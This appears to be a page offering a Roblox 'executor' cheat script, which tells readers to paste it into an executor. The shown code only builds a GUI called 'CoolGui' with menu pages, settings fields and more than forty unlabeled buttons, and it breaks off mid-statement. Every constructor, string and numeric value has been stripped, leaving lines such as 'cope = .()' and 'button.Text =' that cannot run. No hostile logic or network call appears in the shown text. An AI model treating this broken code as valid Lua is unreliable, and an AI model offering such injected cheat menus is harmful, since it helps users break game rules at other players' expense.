Run it
Copy the script and paste it into your executor.
CoolGui = .()
cope = .()
settings = .()
titles = .()
smain = .()
sdidlabel = .()
bgtlabel = .()
sdid = .()
bgt = .()
swsjhlabel = .()
sglabel = .()
swsjh = .()
sg = .()
sidlabel = .()
sid = .()
fps = .()
size = .()
time = .()
checkrfe = .()
suslabel = .()
sus = .()
rlabel = .()
glabel = .()
blabel = .()
r = .()
g = .()
b = .()
stlabel = .()
st = .()
sbutton = .()
main = .()
title = .()
left = .()
right = .()
page1 = .()
fes = .()
sectitle = .()
button = .()
button_2 = .()
button_3 = .()
button_4 = .()
button_5 = .()
button_6 = .()
button_7 = .()
button_8 = .()
button_9 = .()
button_10 = .()
button_11 = .()
button_12 = .()
button_13 = .()
button_14 = .()
lp = .()
sectitle_2 = .()
button_15 = .()
button_16 = .()
button_17 = .()
button_18 = .()
button_19 = .()
button_20 = .()
button_21 = .()
button_22 = .()
button_23 = .()
button_24 = .()
pgname = .()
page3 = .()
guir = .()
sectitle_3 = .()
button_25 = .()
button_26 = .()
button_27 = .()
button_28 = .()
button_29 = .()
button_30 = .()
button_31 = .()
button_32 = .()
button_33 = .()
button_34 = .()
misc = .()
sectitle_4 = .()
button_35 = .()
button_36 = .()
button_37 = .()
button_38 = .()
button_39 = .()
button_40 = .()
button_41 = .()
button_42 = .()
pgname_2 = .()
page2 = .()
fds = .()
sectitle_5 = .()
button_43 = .()
button_44 = .()
button_45 = .()
button_46 = .()
btools = .()
sectitle_6 = .()
button_47 = .()
button_48 = .()
button_49 = .()
button_50 = .()
button_51 = .()
button_52 = .()
button_53 = .()
button_54 = .()
button_55 = .()
button_56 = .()
button_57 = .()
pgname_3 = .()
page4 = .()
pres = .()
sectitle_7 = .()
button_58 = .()
button_59 = .()
button_60 = .()
button_61 = .()
button_62 = .()
button_63 = .()
creds = .()
credits = .()
pgname_4 = .()
CoolGui.Name =
CoolGui.Parent = .Players.LocalPlayer.PlayerGui
CoolGui.ZIndexBehavior = .ZIndexBehavior.Sibling
CoolGui.ResetOnSpawn =
cope.Name =
cope.Parent = CoolGui
cope.BackgroundColor3 = .(, , )
cope.BorderColor3 = .(, , )
cope.BorderSizePixel =
cope.LayoutOrder =
cope.Position = .(-, , , )
cope.Size = .(, , , )
cope.ZIndex =
cope.Font = .Font.SourceSans
cope.Text =
cope.TextColor3 = .(, , )
cope.TextSize =
settings.Name =
settings.Parent = CoolGui
settings.BackgroundColor3 = .(, , )
settings.BorderColor3 = .(, , )
settings.BorderSizePixel =
settings.Position = .(, , , )
settings.Size = .(, , , )
settings.ZIndex =
titles.Name =
titles.Parent = settings
titles.BackgroundColor3 = .(, , )
titles.BorderColor3 = .(, , )
titles.BorderSizePixel =
titles.LayoutOrder =
titles.Size = .(, , , )
titles.Font = .Font.SourceSans
titles.Text =
titles.TextColor3 = .(, , )
titles.TextSize =
smain.Name =
smain.Parent = settings
smain.BackgroundColor3 = .(, , )
smain.BorderColor3 = .(, , )
smain.BorderSizePixel =
smain.Position = .(, , , )
smain.Size = .(, , , )
sdidlabel.Name =
sdidlabel.Parent = smain
sdidlabel.BackgroundColor3 = .(, , )
sdidlabel.BorderColor3 = .(, , )
sdidlabel.BorderSizePixel =
sdidlabel.Size = .(, , , )
sdidlabel.ZIndex =
sdidlabel.Font = .Font.SourceSansBold
sdidlabel.Text =
sdidlabel.TextColor3 = .(, , )
sdidlabel.TextSize =
bgtlabel.Name =
bgtlabel.Parent = smain
bgtlabel.BackgroundColor3 = .(, , )
bgtlabel.BorderColor3 = .(, , )
bgtlabel.BorderSizePixel =
bgtlabel.Position = .(, , , )
bgtlabel.Size = .(, , , )
bgtlabel.ZIndex =
bgtlabel.Font = .Font.SourceSansBold
bgtlabel.Text =
bgtlabel.TextColor3 = .(, , )
bgtlabel.TextSize =
sdid.Name =
sdid.Parent = smain
sdid.BackgroundColor3 = .(, , )
sdid.BorderColor3 = .(, , )
sdid.BorderSizePixel =
sdid.Position = .(, , , )
sdid.Size = .(, , , )
sdid.ZIndex =
sdid.Font = .Font.SourceSans
sdid.Text =
sdid.TextColor3 = .(, , )
sdid.TextSize =
sdid.TextWrapped =
bgt.Name =
bgt.Parent = smain
bgt.BackgroundColor3 = .(, , )
bgt.BorderColor3 = .(, , )
bgt.BorderSizePixel =
bgt.Position = .(, , , )
bgt.Size = .(, , , )
bgt.ZIndex =
bgt.Font = .Font.SourceSans
bgt.Text =
bgt.TextColor3 = .(, , )
bgt.TextSize =
bgt.TextWrapped =
swsjhlabel.Name =
swsjhlabel.Parent = smain
swsjhlabel.BackgroundColor3 = .(, , )
swsjhlabel.BorderColor3 = .(, , )
swsjhlabel.BorderSizePixel =
swsjhlabel.Position = .(, , , )
swsjhlabel.Size = .(, , , )
swsjhlabel.ZIndex =
swsjhlabel.Font = .Font.SourceSansBold
swsjhlabel.Text =
swsjhlabel.TextColor3 = .(, , )
swsjhlabel.TextSize =
sglabel.Name =
sglabel.Parent = smain
sglabel.BackgroundColor3 = .(, , )
sglabel.BorderColor3 = .(, , )
sglabel.BorderSizePixel =
sglabel.Position = .(, , , )
sglabel.Size = .(, , , )
sglabel.ZIndex =
sglabel.Font = .Font.SourceSansBold
sglabel.Text =
sglabel.TextColor3 = .(, , )
sglabel.TextSize =
swsjh.Name =
swsjh.Parent = smain
swsjh.BackgroundColor3 = .(, , )
swsjh.BorderColor3 = .(, , )
swsjh.BorderSizePixel =
swsjh.Position = .(, , , )
swsjh.Size = .(, , , )
swsjh.ZIndex =
swsjh.Font = .Font.SourceSans
swsjh.Text =
swsjh.TextColor3 = .(, , )
swsjh.TextSize =
swsjh.TextWrapped =
sg.Name =
sg.Parent = smain
sg.BackgroundColor3 = .(, , )
sg.BorderColor3 = .(, , )
sg.BorderSizePixel =
sg.Position = .(, , , )
sg.Size = .(, , , )
sg.ZIndex =
sg.Font = .Font.SourceSans
sg.Text =
sg.TextColor3 = .(, , )
sg.TextSize =
sg.TextWrapped =
sidlabel.Name =
sidlabel.Parent = smain
sidlabel.BackgroundColor3 = .(, , )
sidlabel.BorderColor3 = .(, , )
sidlabel.BorderSizePixel =
sidlabel.Position = .(, , , )
sidlabel.Size = .(, , , )
sidlabel.ZIndex =
sidlabel.Font = .Font.SourceSansBold
sidlabel.Text =
sidlabel.TextColor3 = .(, , )
sidlabel.TextSize =
sid.Name =
sid.Parent = smain
sid.BackgroundColor3 = .(, , )
sid.BorderColor3 = .(, , )
sid.BorderSizePixel =
sid.Position = .(, , , )
sid.Size = .(, , , )
sid.ZIndex =
sid.Font = .Font.SourceSans
sid.Text =
sid.TextColor3 = .(, , )
sid.TextSize =
sid.TextWrapped =
fps.Name =
fps.Parent = smain
fps.BackgroundColor3 = .(, , )
fps.BorderColor3 = .(, , )
fps.BorderSizePixel =
fps.Position = .(, , , )
fps.Size = .(, , , )
fps.ZIndex =
fps.Font = .Font.SourceSans
fps.Text =
fps.TextColor3 = .(, , )
fps.TextSize =
size.Name =
size.Parent = smain
size.BackgroundColor3 = .(, , )
size.BorderColor3 = .(, , )
size.BorderSizePixel =
size.Position = .(, , , )
size.Size = .(, , , )
size.ZIndex =
size.Font = .Font.SourceSans
size.Text =
size.TextColor3 = .(, , )
size.TextSize =
time.Name =
time.Parent = smain
time.BackgroundColor3 = .(, , )
time.BorderColor3 = .(, , )
time.BorderSizePixel =
time.Position = .(, , , )
time.Size = .(, , , )
time.ZIndex =
time.Font = .Font.SourceSans
time.Text =
time.TextColor3 = .(, , )
time.TextSize =
time.TextWrapped =
checkrfe.Name =
checkrfe.Parent = smain
checkrfe.BackgroundColor3 = .(, , )
checkrfe.BorderColor3 = .(, , )
checkrfe.BorderSizePixel =
checkrfe.Position = .(, , , )
checkrfe.Size = .(, , , )
checkrfe.ZIndex =
checkrfe.Font = .Font.SourceSans
checkrfe.Text =
checkrfe.TextColor3 = .(, , )
checkrfe.TextSize =
checkrfe.TextWrapped =
suslabel.Name =
suslabel.Parent = smain
suslabel.BackgroundColor3 = .(, , )
suslabel.BorderColor3 = .(, , )
suslabel.BorderSizePixel =
suslabel.Position = .(, , , )
suslabel.Size = .(, , , )
suslabel.ZIndex =
suslabel.Font = .Font.SourceSansBold
suslabel.Text =
suslabel.TextColor3 = .(, , )
suslabel.TextSize =
sus.Name =
sus.Parent = smain
sus.BackgroundColor3 = .(, , )
sus.BorderColor3 = .(, , )
sus.BorderSizePixel =
sus.Position = .(, , , )
sus.Size = .(, , , )
sus.ZIndex =
sus.Font = .Font.SourceSans
sus.Text =
sus.TextColor3 = .(, , )
sus.TextSize =
sus.TextWrapped =
rlabel.Name =
rlabel.Parent = smain
rlabel.BackgroundColor3 = .(, , )
rlabel.BorderColor3 = .(, , )
rlabel.BorderSizePixel =
rlabel.Position = .(, , , )
rlabel.Size = .(, , , )
rlabel.ZIndex =
rlabel.Font = .Font.SourceSansBold
rlabel.Text =
rlabel.TextColor3 = .(, , )
rlabel.TextSize =
glabel.Name =
glabel.Parent = smain
glabel.BackgroundColor3 = .(, , )
glabel.BorderColor3 = .(, , )
glabel.BorderSizePixel =
glabel.Position = .(, , , )
glabel.Size = .(, , , )
glabel.ZIndex =
glabel.Font = .Font.SourceSansBold
glabel.Text =
glabel.TextColor3 = .(, , )
glabel.TextSize =
blabel.Name =
blabel.Parent = smain
blabel.BackgroundColor3 = .(, , )
blabel.BorderColor3 = .(, , )
blabel.BorderSizePixel =
blabel.Position = .(, , , )
blabel.Size = .(, , , )
blabel.ZIndex =
blabel.Font = .Font.SourceSansBold
blabel.Text =
blabel.TextColor3 = .(, , )
blabel.TextSize =
r.Name =
r.Parent = smain
r.BackgroundColor3 = .(, , )
r.BorderColor3 = .(, , )
r.BorderSizePixel =
r.Position = .(, , , )
r.Size = .(, , , )
r.ZIndex =
r.Font = .Font.SourceSans
r.Text =
r.TextColor3 = .(, , )
r.TextSize =
r.TextWrapped =
g.Name =
g.Parent = smain
g.BackgroundColor3 = .(, , )
g.BorderColor3 = .(, , )
g.BorderSizePixel =
g.Position = .(, , , )
g.Size = .(, , , )
g.ZIndex =
g.Font = .Font.SourceSans
g.Text =
g.TextColor3 = .(, , )
g.TextSize =
g.TextWrapped =
b.Name =
b.Parent = smain
b.BackgroundColor3 = .(, , )
b.BorderColor3 = .(, , )
b.BorderSizePixel =
b.Position = .(, , , )
b.Size = .(, , , )
b.ZIndex =
b.Font = .Font.SourceSans
b.Text =
b.TextColor3 = .(, , )
b.TextSize =
b.TextWrapped =
stlabel.Name =
stlabel.Parent = smain
stlabel.BackgroundColor3 = .(, , )
stlabel.BorderColor3 = .(, , )
stlabel.BorderSizePixel =
stlabel.Position = .(, , , )
stlabel.Size = .(, , , )
stlabel.ZIndex =
stlabel.Font = .Font.SourceSansBold
stlabel.Text =
stlabel.TextColor3 = .(, , )
stlabel.TextSize =
st.Name =
st.Parent = smain
st.BackgroundColor3 = .(, , )
st.BorderColor3 = .(, , )
st.BorderSizePixel =
st.Position = .(, , , )
st.Size = .(, , , )
st.ZIndex =
st.Font = .Font.SourceSans
st.Text =
st.TextColor3 = .(, , )
st.TextSize =
st.TextWrapped =
sbutton.Name =
sbutton.Parent = settings
sbutton.BackgroundColor3 = .(, , )
sbutton.BorderColor3 = .(, , )
sbutton.BorderSizePixel =
sbutton.Position = .(, , , )
sbutton.Size = .(, , , )
sbutton.ZIndex =
sbutton.Font = .Font.SourceSans
sbutton.Text =
sbutton.TextColor3 = .(, , )
sbutton.TextSize =
main.Name =
main.Parent = CoolGui
main.BackgroundColor3 = .(, , )
main.BorderColor3 = .(, , )
main.BorderSizePixel =
main.Position = .(-, , , )
main.Size = .(, , , )
main.ZIndex =
title.Name =
title.Parent = main
title.BackgroundColor3 = .(, , )
title.BorderColor3 = .(, , )
title.BorderSizePixel =
title.LayoutOrder =
title.Position = .(-, , , )
title.Size = .(, , , )
title.Font = .Font.SourceSans
title.Text =
title.TextColor3 = .(, , )
title.TextSize =
left.Name =
left.Parent = main
left.BackgroundColor3 = .(, , )
left.BorderColor3 = .(, , )
left.BorderSizePixel =
left.Position = .(, , , )
left.Size = .(, , , )
left.Font = .Font.SourceSans
left.Text =
left.TextColor3 = .(, , )
left.TextSize =
right.Name =
right.Parent = main
right.BackgroundColor3 = .(, , )
right.BorderColor3 = .(, , )
right.BorderSizePixel =
right.Position = .(, , , )
right.Size = .(, , , )
right.Font = .Font.SourceSans
right.Text =
right.TextColor3 = .(, , )
right.TextSize =
page1.Name =
page1.Parent = main
page1.BackgroundColor3 = .(, , )
page1.BorderColor3 = .(, , )
page1.BorderSizePixel =
page1.Position = .(, , , )
page1.Size = .(, , , )
fes.Name =
fes.Parent = page1
fes.BackgroundColor3 = .(, , )
fes.BorderColor3 = .(, , )
fes.BorderSizePixel =
fes.Size = .(, , , )
sectitle.Name =
sectitle.Parent = fes
sectitle.BackgroundColor3 = .(, , )
sectitle.BorderColor3 = .(, , )
sectitle.BorderSizePixel =
sectitle.Size = .(, , , )
sectitle.Font = .Font.SourceSansBold
sectitle.Text =
sectitle.TextColor3 = .(, , )
sectitle.TextSize =
button.Name =
button.Parent = fes
button.BackgroundColor3 = .(, , )
button.BorderColor3 = .(, , )
button.BorderSizePixel =
button.Position = .(, , , )
button.Size = .(, , , )
button.Font = .Font.SourceSans
button.Text =
button.TextColor3 = .(, , )
button.TextSize =
button_2.Name =
button_2.Parent = fes
button_2.BackgroundColor3 = .(, , )
button_2.BorderColor3 = .(, , )
button_2.BorderSizePixel =
button_2.Position = .(, , , )
button_2.Size = .(, , , )
button_2.Font = .Font.SourceSans
button_2.Text =
button_2.TextColor3 = .(, , )
button_2.TextSize =
button_3.Name =
button_3.Parent = fes
button_3.BackgroundColor3 = .(, , )
button_3.BorderColor3 = .(, , )
button_3.BorderSizePixel =
button_3.Position = .(, , , )
button_3.Size = .(, , , )
button_3.Font = .Font.SourceSans
button_3.Text =
button_3.TextColor3 = .(, , )
button_3.TextSize =
button_4.Name =
button_4.Parent = fes
button_4.BackgroundColor3 = .(, , )
button_4.BorderColor3 = .(, , )
button_4.BorderSizePixel =
button_4.Position = .(, , , )
button_4.Size = .(, , , )
button_4.Font = .Font.SourceSans
button_4.Text =
button_4.TextColor3 = .(, , )
button_4.TextSize =
button_5.Name =
button_5.Parent = fes
button_5.BackgroundColor3 = .(, , )
button_5.BorderColor3 = .(, , )
button_5.BorderSizePixel =
button_5.Position = .(, , , )
button_5.Size = .(, , , )
button_5.Font = .Font.SourceSans
button_5.Text =
button_5.TextColor3 = .(, , )
button_5.TextSize =
button_6.Name =
button_6.Parent = fes
button_6.BackgroundColor3 = .(, , )
button_6.BorderColor3 = .(, , )
button_6.BorderSizePixel =
button_6.Position = .(, , , )
button_6.Size = .(, , , )
button_6.Font = .Font.SourceSans
button_6.Text =
button_6.TextColor3 = .(, , )
button_6.TextSize =
button_7.Name =
button_7.Parent = fes
button_7.BackgroundColor3 = .(, , )
button_7.BorderColor3 = .(, , )
button_7.BorderSizePixel =
button_7.Position = .(, , , )
button_7.Size = .(, , , )
button_7.Font = .Font.SourceSans
button_7.Text =
button_7.TextColor3 = .(, , )
button_7.TextSize =
button_8.Name =
button_8.Parent = fes
button_8.BackgroundColor3 = .(, , )
button_8.BorderColor3 = .(, , )
button_8.BorderSizePixel =
button_8.Position = .(, , , )
button_8.Size = .(, , , )
button_8.Font = .Font.SourceSans
button_8.Text =
button_8.TextColor3 = .(, , )
button_8.TextSize =
button_9.Name =
button_9.Parent = fes
button_9.BackgroundColor3 = .(, , )
button_9.BorderColor3 = .(, , )
button_9.BorderSizePixel =
button_9.Position = .(, , , )
button_9.Size = .(, , , )
button_9.Font = .Font.SourceSans
button_9.Text =
button_9.TextColor3 = .(, , )
button_9.TextSize =
button_10.Name =
button_10.Parent = fes
button_10.BackgroundColor3 = .(, , )
button_10.BorderColor3 = .(, , )
button_10.BorderSizePixel =
button_10.Position = .(, , , )
button_10.Size = .(, , , )
button_10.Font = .Font.SourceSans
button_10.Text =
button_10.TextColor3 = .(, , )
button_10.TextSize =
button_11.Name =
button_11.Parent = fes
button_11.BackgroundColor3 = .(, , )
button_11.BorderColor3 = .(, , )
button_11.BorderSizePixel =
button_11.Position = .(, , , )
button_11.Size = .(, , , )
button_11.Font = .Font.SourceSans
button_11.Text =
button_11.TextColor3 = .(, , )
button_11.TextSize =
button_12.Name =
button_12.Parent = fes
button_12.BackgroundColor3 = .(, , )
button_12.BorderColor3 = .(, , )
button_12.BorderSizePixel =
button_12.Position = .(, , , )
button_12.Size = .(, , , )
button_12.Font = .Font.SourceSans
button_12.Text =
button_12.TextColor3 = .(, , )
button_12.TextSize =
button_13.Name =
button_13.Parent = fes
button_13.BackgroundColor3 = .(, , )
button_13.BorderColor3 = .(, , )
button_13.BorderSizePixel =
button_13.Position = .(, , , )
button_13.Size = .(, , , )
button_13.Font = .Font.SourceSans
button_13.Text =
button_13.TextColor3 = .(, , )
button_13.TextSize =
button_14.Name =
button_14.Parent = fes
button_14.BackgroundColor3 = .(, , )
button_14.BorderColor3 = .(, , )
button_14.BorderSizePixel =
button_14.Position = .(, , , )
button_14.Size = .(, , , )
button_14.Font = .Font.SourceSans
button_14.Text =
button_14.TextColor3 = .(, , )
button_14.TextSize =
lp.Name =
lp.Parent = page1
lp.BackgroundColor3 = .(, , )
lp.BorderColor3 = .(, , )
lp.BorderSizePixel =
lp.Position = .(, , , )
lp.Size = .(, , , )
sectitle_2.Name =
sectitle_2.Parent = lp
sectitle_2.BackgroundColor3 = .(, , )
sectitle_2.BorderColor3 = .(, , )
sectitle_2.BorderSizePixel =
sectitle_2.Size = .(, , , )
sectitle_2.Font = .Font.SourceSansBold
sectitle_2.Text =
sectitle_2.TextColor3 = .(, , )
sectitle_2.TextSize =
button_15.Name =
button_15.Parent = lp
button_15.BackgroundColor3 = .(, , )
button_15.BorderColor3 = .(, , )
button_15.BorderSizePixel =
button_15.Position = .(, , , )
button_15.Size = .(, , , )
button_15.Font = .Font.SourceSans
button_15.Text =
button_15.TextColor3 = .(, , )
button_15.TextSize =
button_15.TextWrapped =
button_16.Name =
button_16.Parent = lp
button_16.BackgroundColor3 = .(, , )
button_16.BorderColor3 = .(, , )
button_16.BorderSizePixel =
button_16.Position = .(, , , )
button_16.Size = .(, , , )
button_16.Font = .Font.SourceSans
button_16.Text =
button_16.TextColor3 = .(, , )
button_16.TextSize =
button_17.Name =
button_17.Parent = lp
button_17.BackgroundColor3 = .(, , )
button_17.BorderColor3 = .(, , )
button_17.BorderSizePixel =
button_17.Position = .(, , , )
button_17.Size = .(, , , )
button_17.Font = .Font.SourceSans
button_17.Text =
button_17.TextColor3 = .(, , )
button_17.TextSize =
button_18.Name =
button_18.Parent = lp
button_18.BackgroundColor3 = .(, , )
button_18.BorderColor3 = .(, , )
button_18.BorderSizePixel =
button_18.Position = .(, , , )
button_18.Size = .(, , , )
button_18.Font = .Font.SourceSans
button_18.Text =
button_18.TextColor3 = .(, , )
button_18.TextSize =
button_19.Name =
button_19.Parent = lp
button_19.BackgroundColor3 = .(, , )
button_19.BorderColor3 = .(, , )
button_19.BorderSizePixel =
button_19.Position = .(, , , )
button_19.Size = .(, , , )
button_19.Font = .Font.SourceSans
button_19.Text =
button_19.TextColor3 = .(, , )
button_19.TextSize =
button_20.Name =
button_20.Parent = lp
button_20.BackgroundColor3 = .(, , )
button_20.BorderColor3 = .(, , )
button_20.BorderSizePixel =
button_20.Position = .(, , , )
button_20.Size = .(, , , )
button_20.Font = .Font.SourceSans
button_20.Text =
button_20.TextColor3 = .(, , )
button_20.TextSize =
button_21.Name =
button_21.Parent = lp
button_21.BackgroundColor3 = .(, , )
button_21.BorderColor3 = .(, , )
button_21.BorderSizePixel =
button_21.Position = .(, , , )
button_21.Size = .(, , , )
button_21.Font = .Font.SourceSans
button_21.Text =
button_21.TextColor3 = .(, , )
button_21.TextSize =
button_22.Name =
button_22.Parent = lp
button_22.BackgroundColor3 = .(, , )
button_22.BorderColor3 = .(, , )
button_22.BorderSizePixel =
button_22.Position = .(, , , )
button_22.Size = .(, , , )
button_22.Font = .Font.SourceSans
button_22.Text =
button_22.TextColor3 = .(, , )
button_22.TextSize =
button_23.Name =
button_23.Parent = lp
button_23.BackgroundColor3 = .(, , )
button_23.BorderColor3 = .(, , )
button_23.BorderSizePixel =
button_23.Position = .(, , , )
button_23.Size = .(, , , )
button_23.Font = .Font.SourceSans
button_23.Text =
button_23.TextColor3 = .(, , )
button_23.TextSize =
button_24.Name =
button_24.Parent = lp
button_24.BackgroundColor3 = .(, , )
button_24.BorderColor3 = .(, , )
button_24.BorderSizePixel =
button_24.Position = .(, , , )
button_24.Size = .(, , , )
button_24.ZIndex =
button_24.Font = .Font.SourceSans
button_24.Text =
button_24.TextColor3 = .(, , )
button_24.TextSize =
pgname.Name =
pgname.Parent = page1
pgname.BackgroundColor3 = .(, , )
pgname.BorderColor3 = .(, , )
pgname.BorderSizePixel =
pgname.LayoutOrder =
pgname.Position = .(-, , , )
pgname.Size = .(, , , )
pgname.ZIndex =
pgname.Font = .Font.SourceSansBold
pgname.Text =
pgname.TextColor3 = .(, , )
pgname.TextSize =
page3.Name =
page3.Parent = main
page3.BackgroundColor3 = .(, , )
page3.BorderColor3 = .(, , )
page3.BorderSizePixel =
page3.Position = .(, , , )
page3.Size = .(, , , )
page3.Visible =
guir.Name =
guir.Parent = page3
guir.BackgroundColor3 = .(, , )
guir.BorderColor3 = .(, , )
guir.BorderSizePixel =
guir.Size = .(, , , )
sectitle_3.Name =
sectitle_3.Parent = guir
sectitle_3.BackgroundColor3 = .(, , )
sectitle_3.BorderColor3 = .(, , )
sectitle_3.BorderSizePixel =
sectitle_3.Size = .(, , , )
sectitle_3.Font = .Font.SourceSansBold
sectitle_3.Text =
sectitle_3.TextColor3 = .(, , )
sectitle_3.TextSize =
button_25.Name =
button_25.Parent = guir
button_25.BackgroundColor3 = .(, , )
button_25.BorderColor3 = .(, , )
button_25.BorderSizePixel =
button_25.Position = .(, , , )
button_25.Size = .(, , , )
button_25.Font = .Font.SourceSans
button_25.Text =
button_25.TextColor3 = .(, , )
button_25.TextSize =
button_26.Name =
button_26.Parent = guir
button_26.BackgroundColor3 = .(, , )
button_26.BorderColor3 = .(, , )
button_26.BorderSizePixel =
button_26.Position = .(, , , )
button_26.Size = .(, , , )
button_26.Font = .Font.SourceSans
button_26.Text =
button_26.TextColor3 = .(, , )
button_26.TextSize =
button_27.Name =
button_27.Parent = guir
button_27.BackgroundColor3 = .(, , )
button_27.BorderColor3 = .(, , )
button_27.BorderSizePixel =
button_27.Position = .(, , , )
button_27.Size = .(, , , )
button_27.Font = .Font.SourceSans
button_27.Text =
button_27.TextColor3 = .(, , )
button_27.TextSize =
button_28.Name =
button_28.Parent = guir
button_28.BackgroundColor3 = .(, , )
button_28.BorderColor3 = .(, , )
button_28.BorderSizePixel =
button_28.Position = .(, , , )
button_28.Size = .(, , , )
button_28.Font = .Font.SourceSans
button_28.Text =
button_28.TextColor3 = .(, , )
button_28.TextSize =
button_29.Name =
button_29.Parent = guir
button_29.BackgroundColor3 = .(, , )
button_29.BorderColor3 = .(, , )
button_29.BorderSizePixel =
button_29.Position = .(, , , )
button_29.Size = .(, , , )
button_29.Font = .Font.SourceSans
button_29.Text =
button_29.TextColor3 = .(, , )
button_29.TextSize =
button_30.Name =
button_30.Parent = guir
button_30.BackgroundColor3 = .(, , )
button_30.BorderColor3 = .(, , )
button_30.BorderSizePixel =
button_30.Position = .(, , , )
button_30.Size = .(, , , )
button_30.Font = .Font.SourceSans
button_30.Text =
button_30.TextColor3 = .(, , )
button_30.TextSize =
button_31.Name =
button_31.Parent = guir
button_31.BackgroundColor3 = .(, , )
button_31.BorderColor3 = .(, , )
button_31.BorderSizePixel =
button_31.Position = .(, , , )
button_31.Size = .(, , , )
button_31.Font = .Font.SourceSans
button_31.Text =
button_31.TextColor3 = .(, , )
button_31.TextSize =
button_32.Name =
button_32.Parent = guir
button_32.BackgroundColor3 = .(, , )
button_32.BorderColor3 = .(, , )
button_32.BorderSizePixel =
button_32.Position = .(, , , )
button_32.Size = .(, , , )
button_32.Font = .Font.SourceSans
button_32.Text =
button_32.TextColor3 = .(, , )
button_32.TextSize =
button_33.Name =
button_33.Parent = guir
button_33.BackgroundColor3 = .(, , )
button_33.BorderColor3 = .(, , )
button_33.BorderSizePixel =
button_33.Position = .(, , , )
button_33.Size = .(, , , )
button_33.Font = .Font.SourceSans
button_33.Text =
button_33.TextColor3 = .(, , )
button_33.TextSize =
button_34.Name =
button_34.Parent = guir
button_34.BackgroundColor3 = .(, , )
button_34.BorderColor3 = .(, , )
button_34.BorderSizePixel =
button_34.Position = .(, , , )
button_34.Size = .(, , , )
button_34.Font = .Font.SourceSans
button_34.Text =
button_34.TextColor3 = .(, , )
button_34.TextSize =
misc.Name =
misc.Parent = page3
misc.BackgroundColor3 = .(, , )
misc.BorderColor3 = .(, , )
misc.BorderSizePixel =
misc.Position = .(, , , )
misc.Size = .(, , , )
sectitle_4.Name =
sectitle_4.Parent = misc
sectitle_4.BackgroundColor3 = .(, , )
sectitle_4.BorderColor3 = .(, , )
sectitle_4.BorderSizePixel =
sectitle_4.Size = .(, , , )
sectitle_4.Font = .Font.SourceSansBold
sectitle_4.Text =
sectitle_4.TextColor3 = .(, , )
sectitle_4.TextSize =
button_35.Name =
button_35.Parent = misc
button_35.BackgroundColor3 = .(, , )
button_35.BorderColor3 = .(, , )
button_35.BorderSizePixel =
button_35.Position = .(, , , )
button_35.Size = .(, , , )
button_35.Font = .Font.SourceSans
button_35.Text =
button_35.TextColor3 = .(, , )
button_35.TextSize =
button_36.Name =
button_36.Parent = misc
button_36.BackgroundColor3 = .(, , )
button_36.BorderColor3 = .(, , )
button_36.BorderSizePixel =
button_36.Position = .(, , , )
button_36.Size = .(, , , )
button_36.Font = .Font.SourceSans
button_36.Text =
button_36.TextColor3 = .(, , )
button_36.TextSize =
button_37.Name =
button_37.Parent = misc
button_37.BackgroundColor3 = .(, , )
button_37.BorderColor3 = .(, , )
button_37.BorderSizePixel =
button_37.Position = .(, , , )
button_37.Size = .(, , , )
button_37.Font = .Font.SourceSans
button_37.Text =
button_37.TextColor3 = .(, , )
button_37.TextSize =
button_38.Name =
button_38.Parent = misc
button_38.BackgroundColor3 = .(, , )
button_38.BorderColor3 = .(, , )
button_38.BorderSizePixel =
button_38.Position = .(, , , )
button_38.Size = .(, , , )
button_38.Font = .Font.SourceSans
button_38.Text =
button_38.TextColor3 = .(, , )
button_38.TextSize =
button_39.Name =
button_39.Parent = misc
button_39.BackgroundColor3 = .(, , )
button_39.BorderColor3 = .(, , )
button_39.BorderSizePixel =
button_39.Position = .(, , , )
button_39.Size = .(, , , )
button_39.Font = .Font.SourceSans
button_39.Text =
button_39.TextColor3 = .(, , )
button_39.TextSize =
button_40.Name =
button_40.Parent = misc
button_40.BackgroundColor3 = .(, , )
button_40.BorderColor3 = .(, , )
button_40.BorderSizePixel =
button_40.Position = .(, , , )
button_40.Size = .(, , , )
button_40.Font = .Font.SourceSans
button_40.Text =
button_40.TextColor3 = .(, , )
button_40.TextSize =
button_41.Name =
button_41.Parent = misc
button_41.BackgroundColor3 = .(, , )
button_41.BorderColor3 = .(, , )
button_41.BorderSizePixel =
button_41.Position = .(, , , )
button_41.Size = .(, , , )
button_41.Font = .Font.SourceSans
button_41.Text =
button_41.TextColor3 = .(, , )
button_41.TextSize =
button_42.Name =
button_42.Parent = misc
button_42.BackgroundColor3 = .(, , )
button_42.BorderColor3 = .(, , )
button_42.BorderSizePixel =
button_42.Position = .(, , , )
button_42.Size = .(, , , )
button_42.Font = .Font.SourceSans
button_42.Text =
button_42.TextColor3 = .(, , )
button_42.TextSize =
pgname_2.Name =
pgname_2.Parent = page3
pgname_2.BackgroundColor3 = .(, , )
pgname_2.BorderColor3 = .(, , )
pgname_2.BorderSizePixel =
pgname_2.LayoutOrder =
pgname_2.Position = .(-, , , )
pgname_2.Size = .(, , , )
pgname_2.ZIndex =
pgname_2.Font = .Font.SourceSansBold
pgname_2.Text =
pgname_2.TextColor3 = .(, , )
pgname_2.TextSize =
page2.Name =
page2.Parent = main
page2.BackgroundColor3 = .(, , )
page2.BorderColor3 = .(, , )
page2.BorderSizePixel =
page2.Position = .(, , , )
page2.Size = .(, , , )
page2.Visible =
fds.Name =
fds.Parent = page2
fds.BackgroundColor3 = .(, , )
fds.BorderColor3 = .(, , )
fds.BorderSizePixel =
fds.Size = .(, , , )
sectitle_5.Name =
sectitle_5.Parent = fds
sectitle_5.BackgroundColor3 = .(, , )
sectitle_5.BorderColor3 = .(, , )
sectitle_5.BorderSizePixel =
sectitle_5.Size = .(, , , )
sectitle_5.Font = .Font.SourceSansBold
sectitle_5.Text =
sectitle_5.TextColor3 = .(, , )
sectitle_5.TextSize =
sectitle_5.TextWrapped =
button_43.Name =
button_43.Parent = fds
button_43.BackgroundColor3 = .(, , )
button_43.BorderColor3 = .(, , )
button_43.BorderSizePixel =
button_43.Position = .(, , , )
button_43.Size = .(, , , )
button_43.Font = .Font.SourceSans
button_43.Text =
button_43.TextColor3 = .(, , )
button_43.TextSize =
button_44.Name =
button_44.Parent = fds
button_44.BackgroundColor3 = .(, , )
button_44.BorderColor3 = .(, , )
button_44.BorderSizePixel =
button_44.Position = .(, , , )
button_44.Size = .(, , , )
button_44.Font = .Font.SourceSans
button_44.Text =
button_44.TextColor3 = .(, , )
button_44.TextSize =
button_45.Name =
button_45.Parent = fds
button_45.BackgroundColor3 = .(, , )
button_45.BorderColor3 = .(, , )
button_45.BorderSizePixel =
button_45.Position = .(, , , )
button_45.Size = .(, , , )
button_45.Font = .Font.SourceSans
button_45.Text =
button_45.TextColor3 = .(, , )
button_45.TextSize =
button_46.Name =
